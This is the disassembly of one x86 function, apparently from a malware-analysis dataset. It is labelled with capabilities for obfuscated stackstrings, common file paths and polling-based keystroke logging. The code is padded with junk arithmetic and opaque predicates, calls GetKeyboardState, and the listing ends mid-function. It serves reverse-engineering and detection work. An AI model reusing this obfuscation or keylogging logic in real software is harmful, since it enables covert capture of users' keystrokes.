Function at 0x100d3b48
Capabilities:
Contain obfuscated stackstrings
Get common file path
Log keystrokes via polling

Disassembly:
mov eax, 0x10149c08
call fcn.1013e250
sub esp, 0x3c0
push ebx
push esi
xor ebx, ebx
push edi
mov edi, ecx
test dl, dl
je 0x100d56ef
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x1c], 0x644accb2
mov dword [ebp - 0x24], 0x459eeda5
mov dword [ebp - 0x28], 0xca70051e
mov dword [ebp - 0x14], 0x926128f3
mov dword [ebp - 0x2c], 0xa928f0bd
mov dword [ebp - 0x2c], 0x29efec1a
cmp dword [ebp - 0x20], ebx
je 0x100d3bcb
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
sub eax, 0x3a3dbc56
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x1c]
je 0x100d3bc2
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x28], ebx
jne 0x100d3bd3
mov eax, dword [ebp - 0x28]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x100d3be7
xor dl, dl
mov ecx, 0x6bd3
call fcn.100d3582
lea ecx, [ebp - 0x2c0]
call fcn.10079712
xor eax, eax
mov dword [ebp - 4], ebx
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 9
cmp dword [ebp - 0x28], 0xd
jne 0x100d3cd2
mov dword [ebp - 0x58], 3
mov dword [ebp - 0x130], 0x409884cb
mov dword [ebp - 0x58], 0xffffffe4
jmp 0x100d3c86
mov dword [ebp - 0x1c], 0x6182eac4
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x24], 0x7516a205
mov dword [ebp - 0x1c], ebx
jmp 0x100d3c7d
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], 0x1a
jmp 0x100d3c74
mov byte [ebp - 0x46], bl
lea edx, [ebp - 0x46]
push 0x52a2
xor cl, cl
call fcn.100d3688
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x14]
pop ecx
cmp dword [ebp - 0x14], 0xfffffff4
je 0x100d3c58
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffed
je 0x100d3c40
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0x11
je 0x100d3c26
push 0x3856
push 0x1a8f
push 0x3b93
lea eax, [ebp - 0x130]
mov ecx, 0x50f6
push eax
push 0x4b8d
lea eax, [ebp - 0x58]
push eax
xor eax, eax
push 0x4032
lea edx, [eax + 1]
call fcn.100d34ea
add esp, 0x1c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xd
je 0x100d3c0c
xor eax, eax
inc eax
mov dl, al
mov byte [ebp - 0x47], bl
lea ecx, [ebp - 0x47]
call fcn.100d3582
cmp dword [ebp - 0x2b0], 0
je 0x100d56dd
mov edx, edi
lea ecx, [ebp - 0x2d8]
call fcn.100790a8
xor ecx, ecx
inc ecx
mov byte [ebp - 4], cl
mov dword [ebp - 0x14], ebx
jmp 0x100d3d12
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100d3d04
mov dword [ebp - 0x14], ebx
jmp 0x100d3d2e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x18c], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100d3d1d
mov dword [ebp - 0x6c], 0xffffffe8
jmp 0x100d3df1
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], 0x63090707
mov dword [ebp - 0x1c], ebx
jmp 0x100d3d60
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x220], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100d3d4f
mov eax, dword [ebp - 0x70]
xor edx, edx
mov ecx, dword [ebp - 0x6c]
add eax, 0x53494abc
imul ecx, eax
mov eax, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x6c]
cmp ecx, eax
mov eax, dword [ebp - 0x6c]
setg dl
add esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
neg esi
cmp esi, eax
mov eax, dword [ebp - 0x20]
sete cl
sub ecx, eax
cmp ecx, dword [ebp - 0x6c]
jle 0x100d3da0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x21c]
neg edx
push 1
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x21c], ecx
cmp ecx, 0xd00
setle al
xor edx, edx
add eax, dword [ebp - 0x20]
neg eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
pop ecx
setle dl
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x188], eax
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0xffffffee
jne 0x100d3d40
push 0xcf17
call fcn.10019cfd
pop ecx
movzx eax, ax
lea edx, [ebp - 0x2c0]
push eax
lea ecx, [ebp - 0x340]
call fcn.10029f91
pop ecx
lea ecx, [ebp - 0x2d8]
mov byte [ebp - 4], 2
push ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.10029ffa
pop ecx
xor eax, eax
mov byte [ebp - 4], 4
push ebx
inc eax
lea ecx, [ebp - 0x340]
push eax
call fcn.10014448
cmp dword [ebp - 0x250], 8
lea eax, [ebp - 0x264]
cmovae eax, dword [ebp - 0x264]
cmp dword [edi + 0x14], 8
jb 0x100d3e65
mov edi, dword [edi]
push ebx
push eax
push edi
push 0xf90b
push 0x11c01
call fcn.100290d8
pop ecx
pop ecx
call eax
mov dword [ebp - 0x20], 8
xor ecx, ecx
mov dword [ebp - 0x24], 0xfffffffe
inc ecx
mov dword [ebp - 0x2c], 0xd04c
mov dword [ebp - 0x1c], ebx
jmp 0x100d3ea9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13c], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100d3e98
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 0x20]
xor cl, cl
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x148], 0x215e1abe
call fcn.100d3622
mov dword [ebp - 0x13c], 0xffffffff
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x24], 0xffffffff
xor eax, eax
mov dword [ebp - 0x20], 0xffff
inc eax
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 0xc67ee39f
mov dword [ebp - 0x24], 0xdfddae97
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xff15cc7c
mov dword [ebp - 0x24], ebx
push 3
call fcn.10013ee8
mov dword [ebp - 0x24], 0x2daffa89
xor ecx, ecx
mov dword [ebp - 0x30], 0x34d7
inc ecx
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x5c], ebx
jmp 0x100d3f4c
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x118], 0xe07ea4c5
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], ecx
jl 0x100d3f3b
push ebx
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x1e0]
call fcn.100d37f3
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x20]
pop ecx
imul eax, dword [ebp - 0x20]
cmp eax, 2
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
imul ecx, eax
mov dword [ebp - 0x118], ecx
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x28]
cmp eax, 5
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ecx, 0xa7fe
setle dl
xor ecx, ecx
cmp eax, edx
setge cl
xor edx, edx
mov dword [ebp - 0x24], ecx
inc edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x1e0]
cmp dword [eax + 4], edx
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, 0xed0b
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d400c
xor cl, cl
call fcn.100d3644
lea ecx, [ebp - 0x1e0]
call fcn.100144eb
push 0x44
lea eax, [ebp - 0x3cc]
push ebx
push eax
call fcn.10029225
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x10
push ebx
push eax
call fcn.10029225
add esp, 0xc
lea edx, [ebp - 0x3cc]
xor cl, cl
call fcn.100d36cf
mov dword [ebp - 0x14], 0x7ed6f186
xor ecx, ecx
mov dword [ebp - 0x28], 0xfffffffa
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100d406c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x38], 0x92280643
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100d405e
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x28], ebx
je 0x100d409c
xor eax, eax
lea edx, [eax + 1]
jmp 0x100d409e
mov edx, ebx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
add ecx, 0x307b5ca9
add eax, edx
add eax, ecx
mov ecx, dword [ebp - 0x38]
imul ecx, eax
test ecx, ecx
je 0x100d40bb
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg eax
push 0xfffffffffffffff7
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
push 0
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp eax, 0x90e6
mov eax, dword [ebp - 0x14]
setle cl
cmp ecx, edx
pop edx
setne dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x38]
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x28]
test eax, eax
jne 0x100d4137
inc eax
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x24]
jmp 0x100d414f
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d414c
mov edx, 0x4d16
xor cl, cl
call fcn.100d36e8
xor eax, eax
inc eax
mov byte [ebp - 0x9e], al
lea ecx, [ebp - 0x238]
mov byte [ebp - 0x97], al
mov dword [ebp - 0xac], 0x36062108
mov dword [ebp - 0xa8], 0x75023707
mov dword [ebp - 0xa4], 0x6f032b09
mov word [ebp - 0xa0], 0x7905
mov dword [ebp - 0x9d], 0xa830084
mov word [ebp - 0x99], 0xf7ac
mov dword [ebp - 0x96], 0x203c9e0d
mov dword [ebp - 0x92], 0x7f04fa30
mov dword [ebp - 0x28], 0xb57e8b72
mov dword [ebp - 0x24], 0x5b0bb8bf
push eax
call fcn.10013ee8
push 0x424a
lea eax, [ebp - 0x238]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x210]
mov dword [ebp - 0x2c], 0x59172ddb
push eax
xor eax, eax
mov ecx, 0x2965
lea edx, [eax + 1]
call fcn.100d35c0
mov byte [ebp - 0x15], bl
add esp, 0xc
cmp byte [ebp - 0x15], 0
je 0x100d420e
push 0x1da1
push ebx
push 0x1009
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jne 0x100d421c
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4240
mov edx, 0x27f3
xor cl, cl
call fcn.100d3912
mov edx, 0x1b9e
xor cl, cl
call fcn.100d61a3
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 4
call fcn.100144eb
mov dword [ebp - 0x44], ebx
mov edi, ebx
mov esi, 0x799a
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x24], 0x5405732a
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x138], 5
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x100d429d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x370], 0x1078932
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100d428c
mov dword [ebp - 0x20], ebx
jmp 0x100d435d
mov dword [ebp - 0x1c], 7
lea ecx, [ebp - 0x22c]
push 2
call fcn.10013ee8
mov dword [ebp - 0x14], ebx
jmp 0x100d42d5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x364], 0x1f782a18
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100d42c4
push 2
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x100d42f2
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x22c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100d42e3
mov dword [ebp - 0x1c], 7
cmp dword [ebp - 0x1c], 0xffffffe5
jne 0x100d434f
xor eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x100d4335
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d432a
mov edx, 0x2f32
xor cl, cl
call fcn.100d360c
dec dword [ebp - 0x14]
jns 0x100d4315
xor eax, eax
push 2
inc eax
pop edx
mov dword [ebp - 0x14], ebx
jmp 0x100d4340
dec dword [ebp - 0x24]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x18
jl 0x100d433a
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe5
je 0x100d4307
lea ecx, [ebp - 0x22c]
call fcn.100144eb
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffa
je 0x100d42ab
lea edx, [ebp - 0x138]
xor cl, cl
call fcn.100d36a9
cmp dword [ebp - 0x44], 0x12
jne 0x100d459e
mov dword [ebp - 0x24], 0xffffffff
push 0xa
mov dword [ebp - 0x30], 0x525ac89d
pop edi
mov dword [ebp - 0x1c], ebx
jmp 0x100d43a5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc4], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100d4394
mov dword [ebp - 0xc0], ebx
jmp 0x100d44b7
mov dword [ebp - 0x14], 0xab72b21a
xor edx, edx
mov dword [ebp - 0x24], 0xed55c59c
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xfffffff7
setle al
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xfffffffe
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0xc0]
jle 0x100d43f8
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
add ecx, dword [ebp - 0x14]
cmp ecx, 7
mov ecx, 0x5d70512a
setne al
sub ecx, eax
mov eax, dword [ebp - 0xc4]
add eax, ecx
cmp eax, dword [ebp - 0x14]
jl 0x100d4449
cmp dword [ebp - 0xc0], ebx
je 0x100d4449
xor eax, eax
lea edx, [eax + 1]
jmp 0x100d444b
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 4
sbb eax, eax
neg eax
add eax, dword [ebp - 0xbc]
je 0x100d447b
cmp dword [ebp - 0xc0], ebx
je 0x100d447b
xor eax, eax
lea ecx, [eax + 1]
jmp 0x100d447d
mov ecx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x14]
imul eax, ecx, 0xd31f
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setg dl
mov dword [ebp - 0x30], edx
dec dword [ebp - 0xc0]
cmp dword [ebp - 0xc0], 0xfffffff2
jne 0x100d43b6
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d44d4
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor eax, eax
lea edx, [ebp - 0x44]
lea ecx, [eax + 1]
call fcn.100d360c
mov dword [ebp - 0xec], esi
xor ecx, ecx
mov dword [ebp - 0xe8], esi
inc ecx
mov dword [ebp - 0xe4], esi
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x100d4515
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x140], 0x2ba75a59
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100d4504
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], ebx
jl 0x100d4581
mov dword [ebp - 0x1c], 0xf8b8
mov edx, 0x7db8
call fcn.100d3622
cmp dword [ebp - 0x1c], ebx
je 0x100d4543
xor eax, eax
lea ecx, [eax + 1]
jmp 0x100d4545
mov ecx, ebx
mov eax, dword [ebp - 0x28]
mov edx, 0xfff7
sub edx, eax
add edx, dword [ebp - 0x28]
cmp ecx, 8
sbb eax, eax
xor ecx, ecx
neg eax
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x1c]
je 0x100d4571
cmp dword [ebp - 0x1c], ebx
je 0x100d4571
xor ecx, ecx
inc ecx
mov eax, ecx
jmp 0x100d4576
xor ecx, ecx
mov eax, ebx
inc ecx
mov dword [ebp - 0x140], eax
dec dword [ebp - 0x28]
jns 0x100d4526
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4596
xor dl, dl
mov ecx, 0x5d60
call fcn.100d3826
mov edx, dword [ebp - 0x44]
jmp 0x100d49af
push 2
lea ecx, [ebp - 0x104]
call fcn.10013ee8
mov byte [ebp - 4], 6
xor ecx, ecx
mov dword [ebp - 0x24], 0x5156be82
inc ecx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x100d45d3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x60], 0x8c6a53d0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100d45c5
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 2
jge 0x100d45fd
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x104]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100d45e1
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x104]
mov dword [eax], ebx
jmp 0x100d460a
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], 0xa1836ccb
mov dword [ebp - 0x20], 0xfffffffb
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4626
call fcn.100d3644
mov dword [ebp - 0x28], ebx
jmp 0x100d4770
mov dword [ebp - 0x14], 0xb283066c
mov dword [ebp - 0x14], ebx
jmp 0x100d4764
mov dword [ebp - 0x1c], 0xdb856137
lea ecx, [ebp - 0x1bc]
push 3
call fcn.10013ee8
lea eax, [ebp - 0x1bc]
xor dl, dl
push eax
lea ecx, [ebp - 0x244]
call fcn.100d388d
mov dword [ebp - 0x1c], ebx
pop ecx
cmp dword [ebp - 0x1c], ebx
jl 0x100d4756
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x20], 0xffffffff
mov esi, dword [eax]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setge dl
xor eax, eax
cmp esi, edx
setl al
mov dword [ebp - 0x30], eax
xor eax, eax
cmp esi, 0x3563
setg al
xor ecx, ecx
cmp dword [ebp - 0x30], eax
setg cl
imul ecx, esi
mov dword [ebp + esi*4 - 0x60], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1bc]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x20]
sub ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
setne al
xor ecx, ecx
cmp eax, 0xee83
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 0x7a75e3aa
mov eax, dword [ebp - 0x14]
setg cl
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jle 0x100d4721
cmp dword [ebp - 0x20], ebx
je 0x100d4721
xor eax, eax
lea edx, [eax + 1]
jmp 0x100d4723
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
sete cl
imul ecx, dword [ebp - 0x28]
cmp ecx, 6
je 0x100d4748
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d474d
xor cl, cl
call fcn.100d3661
jmp 0x100d474d
cmp dword [ebp - 0x60], ebx
jne 0x100d4756
dec dword [ebp - 0x1c]
jns 0x100d4672
lea ecx, [ebp - 0x1bc]
call fcn.100144eb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x100d463d
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x100d462e
mov eax, dword [ebp - 0x104]
dec dword [eax]
jns 0x100d4607
mov eax, dword [ebp - 0x24]
mov ecx, 0x8055a548
sub ecx, eax
jne 0x100d479c
cmp dword [ebp - 0x2c], ebx
jne 0x100d479c
mov edx, ebx
jmp 0x100d47a1
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x60]
xor ecx, ecx
cmp edx, eax
mov esi, dword [ebp - 0x104]
setl cl
lea eax, [ecx + 0x1fe1f395]
xor ecx, ecx
cmp eax, 0xfffffff8
mov eax, 0xfffc
setle cl
cmp eax, ecx
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x70b7b202
setge al
xor ecx, ecx
cmp eax, 2
setl cl
xor eax, eax
cmp ecx, dword [esi + 4]
setge al
xor edx, edx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x104]
sbb edx, edx
neg edx
sub edx, dword [eax]
mov eax, dword [ebp - 0x24]
neg edx
mov byte [ebp - 4], 4
sbb edx, edx
xor ecx, ecx
add edx, 0xffff9abb
cmp eax, edx
setne cl
mov dword [esi + 4], ecx
lea ecx, [ebp - 0x104]
call fcn.100144eb
mov eax, dword [ebp - 0x44]
movzx ecx, byte [ebp + eax - 0xab]
sub ecx, eax
lea eax, [ecx - 1]
add eax, edi
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0xdc], eax
xor eax, eax
inc eax
mov dword [ebp - 0x1c], 0xafa2
push eax
call fcn.10013ee8
mov dword [ebp - 0x24], 0xfadf
xor edx, edx
mov dword [ebp - 0x20], 8
inc edx
mov dword [ebp - 0x14], ebx
jmp 0x100d487c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b0]
mov dword [eax + ecx*4], 0x5c6eff3d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100d4869
mov dword [ebp - 0x14], ebx
jmp 0x100d4893
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x240], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100d4886
inc dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x1b0]
cmp dword [eax], 0x279a
mov eax, dword [ebp - 0x20]
setle cl
xor edx, edx
cmp eax, ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
setne dl
sub edx, 3
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp eax, ecx
setle dl
xor ecx, ecx
cmp edx, dword [ebp - 0x2c]
setne cl
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, 9
mov eax, dword [ebp - 0x1c]
setl dl
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
imul ecx, dword [ebp - 0x1c]
inc eax
cmp ecx, eax
jge 0x100d4906
cmp dword [ebp - 0x20], ebx
jne 0x100d4908
mov eax, ebx
mov dword [ebp - 0x23c], eax
lea ecx, [ebp - 0x1b0]
call fcn.100144eb
lea edx, [ebp - 0xdc]
xor cl, cl
call fcn.100d39d0
xor eax, eax
lea ecx, [ebp - 0x1d4]
inc eax
push eax
call fcn.10013ee8
xor edx, edx
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x100d494c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1d4]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100d493d
mov dword [ebp - 0x14], ebx
jmp 0x100d4963
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x380], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100d4956
mov eax, dword [ebp - 0x1d4]
mov dword [eax], ebx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4981
mov cl, dl
call fcn.100d3661
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 4
call fcn.100144eb
mov edx, dword [ebp - 0x44]
mov esi, 0x799a
mov ax, word [ebp - 0xdc]
movzx ecx, byte [ebp + edx - 0xac]
mov word [ebp + ecx*2 - 0x29c], ax
add edx, 2
mov dword [ebp - 0x44], edx
cmp edx, 0x1e
jb 0x100d4265
xor eax, eax
mov edx, 0x4804
mov word [ebp - 0x288], ax
lea eax, [ebp - 0x34]
push eax
xor eax, eax
mov dword [ebp - 0x34], 0x3d06
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x24], 3
lea ecx, [eax + 1]
call fcn.100d3688
pop ecx
cmp dword [ebp - 0x34], ebx
je 0x100d4a1e
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
dec edx
cmp eax, edx
mov eax, dword [ebp - 0x34]
setle cl
sub ecx, eax
cmp ecx, 0xfffffff7
jle 0x100d4a1e
xor eax, eax
lea edx, [eax + 1]
jmp 0x100d4a20
mov edx, ebx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
jne 0x100d4a4f
cmp dword [ebp - 0x24], ebx
jne 0x100d4a4f
mov edx, ebx
